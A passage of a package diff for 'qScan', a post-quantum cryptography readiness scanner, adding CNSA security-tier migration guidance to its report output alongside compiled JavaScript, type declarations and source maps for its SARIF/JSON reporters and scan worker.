March 2025; draft FIPS expected ~2026) as a diversity hedge against \" +\n \"ML-KEM; FN-DSA / Falcon (draft FIPS 206) for compact lattice signatures; and \" +\n \"X-Wing (X25519 + ML-KEM-768) for HPKE-style hybrid encryption.\";\n\n/** True when stateful HBS (SP 800-208) is a reasonable alternative for a family. */\nexport function statefulHbsApplies(algorithm: AlgorithmFamily): boolean {\n // Signature families only — LMS/XMSS are signatures, not KEMs.\n return isSignatureFamily(algorithm);\n}\n"]}
|
package/dist/report.d.ts
CHANGED
|
@@ -4,6 +4,7 @@
|
|
|
4
4
|
* is emitted with raw escape codes and is off by default.
|
|
5
5
|
*/
|
|
6
6
|
import type { RuleMeta, ScanResult } from "./types.js";
|
|
7
|
+
import type { SecurityTier } from "./remediation.js";
|
|
7
8
|
/** Minimal SARIF 2.1.0 log shape (kept permissive on purpose). */
|
|
8
9
|
export interface SarifLog {
|
|
9
10
|
$schema: string;
|
|
@@ -38,5 +39,13 @@ export declare function toJson(result: ScanResult, opts?: ReportOptions): Record
|
|
|
38
39
|
*/
|
|
39
40
|
export declare function formatSummary(result: ScanResult, options?: {
|
|
40
41
|
color?: boolean;
|
|
42
|
+
tier?: SecurityTier;
|
|
41
43
|
}): string;
|
|
44
|
+
/**
|
|
45
|
+
* Per-family migration targets for a CNSA security tier — surfaces the otherwise
|
|
46
|
+
* library-only {@link remediationForTier} in human reports. Category 5 shows the
|
|
47
|
+
* ML-KEM-1024 / ML-DSA-87 sets CNSA 2.0 mandates for national-security systems and
|
|
48
|
+
* long-lived secrets. Returns plain (un-coloured) lines; the caller styles them.
|
|
49
|
+
*/
|
|
50
|
+
export declare function formatTierGuidance(byAlgorithm: Record<string, number>, tier: SecurityTier): string[];
|
|
42
51
|
//# sourceMappingURL=report.d.ts.map
|
package/dist/report.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"report.d.ts","sourceRoot":"","sources":["../src/report.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,OAAO,KAAK,
|
|
1
|
+
{"version":3,"file":"report.d.ts","sourceRoot":"","sources":["../src/report.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AACH,OAAO,KAAK,EAA4B,QAAQ,EAAE,UAAU,EAAY,MAAM,YAAY,CAAC;AAK3F,OAAO,KAAK,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAErD,kEAAkE;AAClE,MAAM,WAAW,QAAQ;IACvB,OAAO,EAAE,MAAM,CAAC;IAChB,OAAO,EAAE,OAAO,CAAC;IACjB,IAAI,EAAE,OAAO,EAAE,CAAC;CACjB;AAED,qFAAqF;AACrF,MAAM,WAAW,aAAa;IAC5B;;;;;OAKG;IACH,cAAc,CAAC,EAAE,OAAO,CAAC;IACzB;;;;;;OAMG;IACH,OAAO,CAAC,EAAE,QAAQ,EAAE,CAAC;CACtB;AAqED,8CAA8C;AAC9C,wBAAgB,OAAO,CAAC,MAAM,EAAE,UAAU,EAAE,IAAI,CAAC,EAAE,aAAa,GAAG,QAAQ,CA6H1E;AAkBD,+DAA+D;AAC/D,wBAAgB,MAAM,CAAC,MAAM,EAAE,UAAU,EAAE,IAAI,CAAC,EAAE,aAAa,GAAG,MAAM,CAAC,MAAM,EAAE,OAAO,CAAC,CAqCxF;AAwCD;;;GAGG;AACH,wBAAgB,aAAa,CAC3B,MAAM,EAAE,UAAU,EAClB,OAAO,CAAC,EAAE;IAAE,KAAK,CAAC,EAAE,OAAO,CAAC;IAAC,IAAI,CAAC,EAAE,YAAY,CAAA;CAAE,GACjD,MAAM,CAyGR;AAED;;;;;GAKG;AACH,wBAAgB,kBAAkB,CAChC,WAAW,EAAE,MAAM,CAAC,MAAM,EAAE,MAAM,CAAC,EACnC,IAAI,EAAE,YAAY,GACjB,MAAM,EAAE,CAmBV"}
|
package/dist/report.js
CHANGED
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
import { VERSION } from "./version.js";
|
|
2
2
|
import { SEVERITY_ORDER, sarifLevel } from "./severity.js";
|
|
3
3
|
import { ANALYZABLE_LANGUAGES_LABEL } from "./detect-utils.js";
|
|
4
|
+
import { remediationFor, remediationForTier } from "./remediation.js";
|
|
4
5
|
const SARIF_SCHEMA = "https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json";
|
|
5
6
|
const INFORMATION_URI = "https://github.com/quantakrypto/pqc-tools";
|
|
6
7
|
/**
|
|
@@ -329,6 +330,36 @@ export function formatSummary(result, options) {
|
|
|
329
330
|
"encrypted traffic captured today can be decrypted once a quantum computer exists. " +
|
|
330
331
|
"Prioritise migrating key exchange / encryption to hybrid PQC (X25519MLKEM768)."));
|
|
331
332
|
}
|
|
333
|
+
if (options?.tier) {
|
|
334
|
+
lines.push("", ...formatTierGuidance(inv.byAlgorithm, options.tier));
|
|
335
|
+
}
|
|
332
336
|
return lines.join("\n");
|
|
333
337
|
}
|
|
338
|
+
/**
|
|
339
|
+
* Per-family migration targets for a CNSA security tier — surfaces the otherwise
|
|
340
|
+
* library-only {@link remediationForTier} in human reports. Category 5 shows the
|
|
341
|
+
* ML-KEM-1024 / ML-DSA-87 sets CNSA 2.0 mandates for national-security systems and
|
|
342
|
+
* long-lived secrets. Returns plain (un-coloured) lines; the caller styles them.
|
|
343
|
+
*/
|
|
344
|
+
export function formatTierGuidance(byAlgorithm, tier) {
|
|
345
|
+
const label = tier === "category-5" ? "CNSA 2.0 (Category 5)" : "Category 3 (commercial)";
|
|
346
|
+
const out = [`${label} migration targets:`];
|
|
347
|
+
const seen = new Set();
|
|
348
|
+
for (const [k, n] of Object.entries(byAlgorithm)) {
|
|
349
|
+
if (n <= 0)
|
|
350
|
+
continue;
|
|
351
|
+
const fam = k;
|
|
352
|
+
if (fam === "unknown" || !remediationFor(fam))
|
|
353
|
+
continue; // skip unmapped families
|
|
354
|
+
const rem = remediationForTier(fam, tier);
|
|
355
|
+
if (seen.has(rem.recommendation))
|
|
356
|
+
continue;
|
|
357
|
+
seen.add(rem.recommendation);
|
|
358
|
+
out.push(` ${fam} → ${rem.recommendation}`);
|
|
359
|
+
}
|
|
360
|
+
if (tier === "category-5") {
|
|
361
|
+
out.push(" CNSA 2.0 mandates ML-KEM-1024 / ML-DSA-87 for national-security systems and long-lived secrets (2030/2033 milestones).");
|
|
362
|
+
}
|
|
363
|
+
return out;
|
|
364
|
+
}
|
|
334
365
|
//# sourceMappingURL=report.js.map
|
package/dist/report.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"report.js","sourceRoot":"","sources":["../src/report.ts"],"names":[],"mappings":"AAMA,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,cAAc,EAAE,UAAU,EAAE,MAAM,eAAe,CAAC;AAC3D,OAAO,EAAE,0BAA0B,EAAE,MAAM,mBAAmB,CAAC;AA4B/D,MAAM,YAAY,GAChB,gGAAgG,CAAC;AAEnG,MAAM,eAAe,GAAG,2CAA2C,CAAC;AAEpE;;;;GAIG;AACH,SAAS,cAAc,CAAC,CAAU,EAAE,cAAuB;IACzD,IAAI,cAAc,IAAI,CAAC,CAAC,SAAS;QAAE,OAAO,SAAS,CAAC;IACpD,OAAO,CAAC,CAAC,QAAQ,CAAC,OAAO,CAAC;AAC5B,CAAC;AAED,6FAA6F;AAC7F,SAAS,SAAS,CAAC,QAAkB;IACnC,QAAQ,QAAQ,EAAE,CAAC;QACjB,KAAK,UAAU;YACb,OAAO,G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G,CAAC,IAAI,CAAC,KAAK,GAAG,MAAM,GAAG,CAAC,cAAc,EAAE,CAAC,CAAC;IAC/C,CAAC;IACD,IAAI,IAAI,KAAK,YAAY,EAAE,CAAC;QAC1B,GAAG,CAAC,IAAI,CACN,0HAA0H,CAC3H,CAAC;IACJ,CAAC;IACD,OAAO,GAAG,CAAC;AACb,CAAC","sourcesContent":["/**\n * Reporters: turn a {@link ScanResult} into SARIF 2.1.0, a clean JSON object,\n * or a human-readable text summary. No third-party dependencies — ANSI colour\n * is emitted with raw escape codes and is off by default.\n */\nimport type { AlgorithmFamily, Finding, RuleMeta, ScanResult, Severity } from \"./types.js\";\nimport { VERSION } from \"./version.js\";\nimport { SEVERITY_ORDER, sarifLevel } from \"./severity.js\";\nimport { ANALYZABLE_LANGUAGES_LABEL } from \"./detect-utils.js\";\nimport { remediationFor, remediationForTier } from \"./remediation.js\";\nimport type { SecurityTier } from \"./remediation.js\";\n\n/** Minimal SARIF 2.1.0 log shape (kept permissive on purpose). */\nexport interface SarifLog {\n $schema: string;\n version: \"2.1.0\";\n runs: unknown[];\n}\n\n/** Options shared by the structured reporters ({@link toSarif} / {@link toJson}). */\nexport interface ReportOptions {\n /**\n * Omit `location.snippet` from every finding in the output. Defaults to false\n * (snippets are included). Snippets of `sensitive` findings (e.g. PEM key\n * blocks, SSH public keys) are ALWAYS omitted regardless of this flag — the\n * snippet there IS the sensitive value.\n */\n redactSnippets?: boolean;\n /**\n * Full rule catalog to advertise in SARIF `tool.driver.rules[]`, even for\n * rules that produced no finding in this run. Pass\n * `defaultRegistry.ruleCatalog()`. When omitted, only the rules that actually\n * fired are emitted (the historical behaviour). SARIF-only; ignored by\n * {@link toJson}.\n */\n catalog?: RuleMeta[];\n}\n\nconst SARIF_SCHEMA =\n \"https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json\";\n\nconst INFORMATION_URI = \"https://github.com/quantakrypto/pqc-tools\";\n\n/**\n * Resolve the snippet to emit for a finding, honouring redaction. Sensitive\n * findings (key material) never expose their snippet; otherwise the snippet is\n * dropped only when `redactSnippets` is set.\n */\nfunction emittedSnippet(f: Finding, redactSnippets: boolean): string | undefined {\n if (redactSnippets || f.sensitive) return undefined;\n return f.location.snippet;\n}\n\n/** Map our severity to a SARIF rule-level default (used in rules[].defaultConfiguration). */\nfunction sarifRank(severity: Severity): number {\n switch (severity) {\n case \"critical\":\n return 100;\n case \"high\":\n return 80;\n case \"medium\":\n return 50;\n case \"low\":\n return 20;\n default:\n return 5;\n }\n}\n\n/** Build a SARIF `rules[]` entry from a rule's severity/title/message/etc. */\nfunction sarifRule(spec: {\n id: string;\n title: string;\n message: string;\n severity: Severity;\n category: string;\n algorithm?: string;\n hndl: boolean;\n cwe?: string;\n remediation?: string;\n}): Record<string, unknown> {\n return {\n id: spec.id,\n name: spec.id,\n shortDescription: { text: spec.title },\n fullDescription: { text: spec.message },\n defaultConfiguration: { level: sarifLevel(spec.severity), rank: sarifRank(spec.severity) },\n ...(spec.remediation ? { help: { text: `Remediation: ${spec.remediation}` } } : {}),\n properties: {\n category: spec.category,\n ...(spec.algorithm ? { algorithm: spec.algorithm } : {}),\n hndl: spec.hndl,\n ...(spec.cwe ? { cwe: spec.cwe, \"security-severity\": securitySeverity(spec.severity) } : {}),\n ...(spec.cwe ? { tags: [\"security\", spec.cwe] } : {}),\n },\n ...(spec.cwe\n ? {\n relationships: [\n { target: { id: spec.cwe, toolComponent: { name: \"CWE\" } }, kinds: [\"relevant\"] },\n ],\n }\n : {}),\n };\n}\n\n/** Serialize a scan result as SARIF 2.1.0. */\nexport function toSarif(result: ScanResult, opts?: ReportOptions): SarifLog {\n const redactSnippets = opts?.redactSnippets ?? false;\n // Build the rule set and collect the CWE taxa referenced by any rule. When a\n // full catalog is supplied, advertise every rule (even ones that didn't fire);\n // otherwise emit one rule per ruleId encountered (the historical behaviour).\n const ruleIndex = new Map<string, number>();\n const rules: Array<Record<string, unknown>> = [];\n const cweTaxa = new Set<string>();\n\n for (const r of opts?.catalog ?? []) {\n if (ruleIndex.has(r.id)) continue;\n if (r.cwe) cweTaxa.add(r.cwe);\n ruleIndex.set(r.id, rules.length);\n rules.push(\n sarifRule({\n id: r.id,\n title: r.title,\n message: r.message,\n severity: r.severity,\n category: r.category,\n algorithm: r.algorithm,\n hndl: r.hndl,\n cwe: r.cwe,\n remediation: r.remediation,\n }),\n );\n }\n\n for (const f of result.findings) {\n if (f.cwe) cweTaxa.add(f.cwe);\n if (ruleIndex.has(f.ruleId)) continue;\n ruleIndex.set(f.ruleId, rules.length);\n rules.push(\n sarifRule({\n id: f.ruleId,\n title: f.title,\n message: f.message,\n severity: f.severity,\n category: f.category,\n algorithm: f.algorithm,\n hndl: f.hndl,\n cwe: f.cwe,\n remediation: f.remediation,\n }),\n );\n }\n\n const results = result.findings.map((f) => {\n const region: Record<string, number> = { startLine: f.location.line };\n if (typeof f.location.column === \"number\") region.startColumn = f.location.column;\n if (typeof f.location.endLine === \"number\") region.endLine = f.location.endLine;\n const snippet = emittedSnippet(f, redactSnippets);\n\n return {\n ruleId: f.ruleId,\n ruleIndex: ruleIndex.get(f.ruleId),\n level: sarifLevel(f.severity),\n message: { text: f.message },\n properties: {\n category: f.category,\n severity: f.severity,\n confidence: f.confidence,\n hndl: f.hndl,\n ...(f.algorithm ? { algorithm: f.algorithm } : {}),\n ...(f.remediation ? { remediation: f.remediation } : {}),\n ...(f.cwe ? { cwe: f.cwe } : {}),\n },\n ...(f.cwe\n ? {\n taxa: [\n {\n target: { id: f.cwe, toolComponent: { name: \"CWE\" } },\n },\n ],\n }\n : {}),\n locations: [\n {\n physicalLocation: {\n artifactLocation: { uri: f.location.file },\n region: {\n ...region,\n ...(snippet ? { snippet: { text: snippet } } : {}),\n },\n },\n },\n ],\n };\n });\n\n // CWE taxonomy component (SARIF taxonomies), referenced by rules + results.\n const taxonomies =\n cweTaxa.size > 0\n ? [\n {\n name: \"CWE\",\n informationUri: \"https://cwe.mitre.org/\",\n organization: \"MITRE\",\n shortDescription: { text: \"The MITRE Common Weakness Enumeration\" },\n taxa: [...cweTaxa].sort().map((id) => ({\n id,\n helpUri: `https://cwe.mitre.org/data/definitions/${id.replace(/^CWE-/, \"\")}.html`,\n })),\n },\n ]\n : [];\n\n return {\n $schema: SARIF_SCHEMA,\n version: \"2.1.0\",\n runs: [\n {\n tool: {\n driver: {\n name: \"qScan\",\n informationUri: INFORMATION_URI,\n version: result.toolVersion || VERSION,\n rules,\n },\n },\n ...(taxonomies.length > 0 ? { taxonomies } : {}),\n results,\n },\n ],\n };\n}\n\n/** GitHub-code-scanning `security-severity` (0–10) derived from our severity. */\nfunction securitySeverity(severity: Severity): string {\n switch (severity) {\n case \"critical\":\n return \"9.5\";\n case \"high\":\n return \"8.0\";\n case \"medium\":\n return \"5.0\";\n case \"low\":\n return \"3.0\";\n default:\n return \"1.0\";\n }\n}\n\n/** Serialize a scan result as a plain JSON-friendly object. */\nexport function toJson(result: ScanResult, opts?: ReportOptions): Record<string, unknown> {\n const redactSnippets = opts?.redactSnippets ?? false;\n return {\n toolVersion: result.toolVersion,\n root: result.root,\n startedAt: result.startedAt,\n finishedAt: result.finishedAt,\n filesScanned: result.filesScanned,\n ...(result.analyzedFiles !== undefined ? { analyzedFiles: result.analyzedFiles } : {}),\n ...(result.diagnostics ? { diagnostics: result.diagnostics } : {}),\n inventory: {\n readinessScore: result.inventory.readinessScore,\n hndlCount: result.inventory.hndlCount,\n bySeverity: result.inventory.bySeverity,\n byCategory: result.inventory.byCategory,\n byAlgorithm: result.inventory.byAlgorithm,\n },\n findings: result.findings.map((f) => ({\n ruleId: f.ruleId,\n title: f.title,\n category: f.category,\n severity: f.severity,\n confidence: f.confidence,\n algorithm: f.algorithm,\n hndl: f.hndl,\n message: f.message,\n remediation: f.remediation,\n cwe: f.cwe,\n location: {\n file: f.location.file,\n line: f.location.line,\n column: f.location.column,\n endLine: f.location.endLine,\n snippet: emittedSnippet(f, redactSnippets),\n },\n })),\n };\n}\n\n/* -------------------------------------------------------------------------- */\n/* Human-readable summary */\n/* -------------------------------------------------------------------------- */\n\n/** Raw ANSI codes (no chalk). Disabled when colour is off. */\nconst ANSI = {\n reset: \"\\x1b[0m\",\n bold: \"\\x1b[1m\",\n dim: \"\\x1b[2m\",\n red: \"\\x1b[31m\",\n green: \"\\x1b[32m\",\n yellow: \"\\x1b[33m\",\n blue: \"\\x1b[34m\",\n magenta: \"\\x1b[35m\",\n cyan: \"\\x1b[36m\",\n} as const;\n\nfunction severityColor(sev: Severity): string {\n switch (sev) {\n case \"critical\":\n return ANSI.magenta;\n case \"high\":\n return ANSI.red;\n case \"medium\":\n return ANSI.yellow;\n case \"low\":\n return ANSI.blue;\n default:\n return ANSI.dim;\n }\n}\n\nfunction scoreColor(score: number): string {\n if (score >= 80) return ANSI.green;\n if (score >= 50) return ANSI.yellow;\n return ANSI.red;\n}\n\n/**\n * Render a human-readable summary of a scan result. Colour is off by default;\n * pass `{ color: true }` to emit ANSI escape codes.\n */\nexport function formatSummary(\n result: ScanResult,\n options?: { color?: boolean; tier?: SecurityTier },\n): string {\n const color = options?.color ?? false;\n const c = (code: string, text: string): string => (color ? `${code}${text}${ANSI.reset}` : text);\n\n const lines: string[] = [];\n const inv = result.inventory;\n\n lines.push(c(ANSI.bold, \"qScan — post-quantum readiness report\"));\n lines.push(c(ANSI.dim, `tool v${result.toolVersion} · root: ${result.root}`));\n lines.push(\"\");\n\n // Readiness score banner.\n lines.push(\n `Readiness score: ${c(`${ANSI.bold}${scoreColor(inv.readinessScore)}`, `${inv.readinessScore}/100`)}`,\n );\n const analyzed =\n result.analyzedFiles !== undefined\n ? ` Analyzed (${ANALYZABLE_LANGUAGES_LABEL}): ${result.analyzedFiles}`\n : \"\";\n lines.push(\n `Files scanned: ${result.filesScanned}${analyzed} Findings: ${result.findings.length} HNDL-exposed: ${c(\n inv.hndlCount > 0 ? ANSI.red : ANSI.green,\n String(inv.hndlCount),\n )}`,\n );\n // Coverage honesty: a score over zero analyzable files is not a clean bill of health.\n if (result.analyzedFiles === 0 && result.filesScanned > 0) {\n lines.push(\n c(\n ANSI.yellow,\n `Note: 0 files were in a supported source language (${ANALYZABLE_LANGUAGES_LABEL}) — the readiness score does not reflect this codebase.`,\n ),\n );\n }\n // Coverage diagnostics: skipped files mean the finding count may be incomplete.\n const diag = result.diagnostics;\n if (diag && (diag.unreadable > 0 || diag.skippedMinified > 0)) {\n lines.push(\n c(\n ANSI.yellow,\n `Coverage: ${diag.unreadable} unreadable, ${diag.skippedMinified} skipped as minified — results may be incomplete.`,\n ),\n );\n }\n lines.push(\"\");\n\n // Severity breakdown.\n const sevParts = SEVERITY_ORDER.filter((s) => inv.bySeverity[s] > 0).map((s) =>\n c(severityColor(s), `${s}: ${inv.bySeverity[s]}`),\n );\n lines.push(`By severity: ${sevParts.length ? sevParts.join(\" \") : c(ANSI.green, \"none\")}`);\n\n // Algorithm breakdown.\n const algoParts = Object.entries(inv.byAlgorithm)\n .sort((a, b) => b[1] - a[1])\n .map(([k, v]) => `${k}: ${v}`);\n if (algoParts.length) lines.push(`By algorithm: ${algoParts.join(\" \")}`);\n lines.push(\"\");\n\n if (result.findings.length === 0) {\n lines.push(c(ANSI.green, \"No classical asymmetric cryptography detected. ✓\"));\n return lines.join(\"\\n\");\n }\n\n // Top findings, grouped by severity (most severe first), capped for readability.\n const sorted = [...result.findings].sort(\n (a, b) => SEVERITY_ORDER.indexOf(a.severity) - SEVERITY_ORDER.indexOf(b.severity),\n );\n const MAX_SHOWN = 25;\n lines.push(\n c(ANSI.bold, `Top findings (${Math.min(MAX_SHOWN, sorted.length)} of ${sorted.length}):`),\n );\n\n for (const f of sorted.slice(0, MAX_SHOWN)) {\n const loc = `${f.location.file}:${f.location.line}${\n f.location.column ? `:${f.location.column}` : \"\"\n }`;\n const tag = c(severityColor(f.severity), `[${f.severity}]`);\n const hndl = f.hndl ? c(ANSI.red, \" (HNDL)\") : \"\";\n lines.push(` ${tag} ${f.title}${hndl}`);\n lines.push(c(ANSI.dim, ` ${loc} — ${f.message}`));\n if (f.remediation) lines.push(c(ANSI.cyan, ` → ${f.remediation}`));\n }\n\n if (sorted.length > MAX_SHOWN) {\n lines.push(c(ANSI.dim, ` …and ${sorted.length - MAX_SHOWN} more.`));\n }\n\n lines.push(\"\");\n if (inv.hndlCount > 0) {\n lines.push(\n c(\n ANSI.yellow,\n `Note: ${inv.hndlCount} finding(s) are exposed to \"harvest now, decrypt later\" — ` +\n \"encrypted traffic captured today can be decrypted once a quantum computer exists. \" +\n \"Prioritise migrating key exchange / encryption to hybrid PQC (X25519MLKEM768).\",\n ),\n );\n }\n\n if (options?.tier) {\n lines.push(\"\", ...formatTierGuidance(inv.byAlgorithm, options.tier));\n }\n\n return lines.join(\"\\n\");\n}\n\n/**\n * Per-family migration targets for a CNSA security tier — surfaces the otherwise\n * library-only {@link remediationForTier} in human reports. Category 5 shows the\n * ML-KEM-1024 / ML-DSA-87 sets CNSA 2.0 mandates for national-security systems and\n * long-lived secrets. Returns plain (un-coloured) lines; the caller styles them.\n */\nexport function formatTierGuidance(\n byAlgorithm: Record<string, number>,\n tier: SecurityTier,\n): string[] {\n const label = tier === \"category-5\" ? \"CNSA 2.0 (Category 5)\" : \"Category 3 (commercial)\";\n const out: string[] = [`${label} migration targets:`];\n const seen = new Set<string>();\n for (const [k, n] of Object.entries(byAlgorithm)) {\n if (n <= 0) continue;\n const fam = k as AlgorithmFamily;\n if (fam === \"unknown\" || !remediationFor(fam)) continue; // skip unmapped families\n const rem = remediationForTier(fam, tier);\n if (seen.has(rem.recommendation)) continue;\n seen.add(rem.recommendation);\n out.push(` ${fam} → ${rem.recommendation}`);\n }\n if (tier === \"category-5\") {\n out.push(\n \" CNSA 2.0 mandates ML-KEM-1024 / ML-DSA-87 for national-security systems and long-lived secrets (2030/2033 milestones).\",\n );\n }\n return out;\n}\n"]}
|
package/dist/scan-worker.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"scan-worker.js","sourceRoot":"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AI,CAAC,cAAc,CAAC,GAAG,CAAC,IAAI,aAAa,CAAC,OAAO,CAAC,EAAE,CAAC;oBAC5E,eAAe,IAAI,CAAC,CAAC;oBACrB,SAAS;gBACX,CAAC;gBACD,YAAY,IAAI,CAAC,CAAC;gBAClB,YAAY,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;gBACvB,QAAQ,CAAC,IAAI,CACX,GAAG,UAAU,CACX,GAAG,EACH,OAAO,EACP,IAAI,EACJ;oBACE,MAAM,EAAE,OAAO,CAAC,MAAM;oBACtB,MAAM,EAAE,OAAO,CAAC,MAAM;oBACtB,IAAI,EAAE,OAAO,CAAC,IAAI;iBACnB,EACD,OAAO,CAAC,aAAa,CACtB,CACF,CAAC;YACJ,CAAC;YAED,IAAI,CAAC,WAAW,CAAC;gBACf,KAAK,EAAE,GAAG,CAAC,KAAK;gBAChB,KAAK,EAAE,YAAY;gBACnB,MAAM,EAAE,EAAE,QAAQ,EAAE,YAAY,EAAE,UAAU,EAAE,eAAe,EAAE;aAChE,CAAC,CAAC;QACL,CAAC;QAAC,OAAO,GAAG,EAAE,CAAC;YACb,IAAI,CAAC,WAAW,CAAC;gBACf,KAAK,EAAE,GAAG,CAAC,KAAK;gBAChB,KAAK,EAAE,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC;aACxD,CAAC,CAAC;QACL,CAAC;IACH,CAAC,CAAC,CAAC;AACL,CAAC","sourcesContent":["/**\n * Worker-thread entry for {@link scanParallel}. Built to `dist/scan-worker.js`\n * and spawned by `parallel.ts`. Each worker reads its assigned files and runs\n * the SAME pure detector pipeline as the serial scan (`detectFile`), returning\n * `{ findings, filesScanned }` per chunk. No shared mutable state.\n *\n * This file performs side effects (wires up message handlers) only when it is\n * actually running inside a worker thread, so importing it from the main thread\n * (e.g. for coverage) is harmless.\n */\nimport { readFileSync } from \"node:fs\";\nimport * as path from \"node:path\";\nimport { parentPort, workerData } from \"node:worker_threads\";\n\nimport type { Finding } from \"./types.js\";\nimport { defaultRegistry } from \"./registry.js\";\nimport { detectFile } from \"./scan.js\";\nimport { looksMinified } from \"./walk.js\";\nimport { isManifestFile } from \"./dependencies.js\";\n\ninterface WorkerToggles {\n source: boolean;\n config: boolean;\n deps: boolean;\n scanMinified: boolean;\n disabledRules?: string[];\n}\n\ninterface ChunkRequest {\n index: number;\n files: string[];\n}\n\nif (parentPort) {\n const data = (workerData ?? {}) as { baseDir: string; toggles: WorkerToggles };\n const baseDir = data.baseDir;\n const toggles = data.toggles;\n const dets = defaultRegistry.all();\n const port = parentPort;\n\n port.on(\"message\", (req: ChunkRequest) => {\n try {\n const findings: Finding[] = [];\n let filesScanned = 0;\n let unreadable = 0;\n let skippedMinified = 0;\n const scannedNames: string[] = [];\n\n for (const rel of req.files) {\n const abs = path.join(baseDir, ...rel.split(\"/\"));\n let content: string;\n try {\n content = readFileSync(abs, \"utf8\");\n } catch {\n unreadable += 1;\n continue;\n }\n if (!toggles.scanMinified && !isManifestFile(rel) && looksMinified(content)) {\n skippedMinified += 1;\n continue;\n }\n filesScanned += 1;\n scannedNames.push(rel);\n findings.push(\n ...detectFile(\n rel,\n content,\n dets,\n {\n source: toggles.source,\n config: toggles.config,\n deps: toggles.deps,\n },\n toggles.disabledRules,\n ),\n );\n }\n\n port.postMessage({\n index: req.index,\n files: scannedNames,\n result: { findings, filesScanned, unreadable, skippedMinified },\n });\n } catch (err) {\n port.postMessage({\n index: req.index,\n error: err instanceof Error ? err.message : String(err),\n });\n }\n });\n}\n"]}
|
package/dist/scan.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"scan.d.ts","sourceRoot":"","sources":["../src/scan.ts"],"names":[],"mappings":"AAcA,OAAO,KAAK,EAAE,QAAQ,EAAE,OAAO,EAAE,WAAW,EAAE,UAAU,EAAE,MAAM,YAAY,CAAC;
|
|
1
|
+
{"version":3,"file":"scan.d.ts","sourceRoot":"","sources":["../src/scan.ts"],"names":[],"mappings":"AAcA,OAAO,KAAK,EAAE,QAAQ,EAAE,OAAO,EAAE,WAAW,EAAE,UAAU,EAAE,MAAM,YAAY,CAAC;AAuB7E;;;;;;GAMG;AACH,eAAO,MAAM,SAAS,EAAE,QAAQ,EAAqB,CAAC;AAEtD,8EAA8E;AAC9E,wBAAgB,eAAe,CAAC,CAAC,EAAE,OAAO,EAAE,CAAC,EAAE,OAAO,GAAG,MAAM,CAI9D;AAOD;;;;GAIG;AACH,wBAAgB,UAAU,CACxB,IAAI,EAAE,MAAM,EACZ,OAAO,EAAE,MAAM,EACf,IAAI,EAAE,SAAS,QAAQ,EAAE,EACzB,OAAO,EAAE;IAAE,MAAM,EAAE,OAAO,CAAC;IAAC,MAAM,EAAE,OAAO,CAAC;IAAC,IAAI,EAAE,OAAO,CAAA;CAAE,EAC5D,aAAa,CAAC,EAAE,SAAS,MAAM,EAAE,GAChC,OAAO,EAAE,CA8BX;AAED;;;;GAIG;AACH,wBAAsB,IAAI,CAAC,OAAO,EAAE,WAAW,GAAG,OAAO,CAAC,UAAU,CAAC,CA0IpE;AAED;;;;;;;;;GASG;AACH,wBAAgB,sBAAsB,CACpC,KAAK,EAAE,SAAS,MAAM,EAAE,EACxB,OAAO,EAAE,IAAI,CAAC,WAAW,EAAE,SAAS,GAAG,SAAS,CAAC,GAChD,MAAM,EAAE,CAmBV"}
|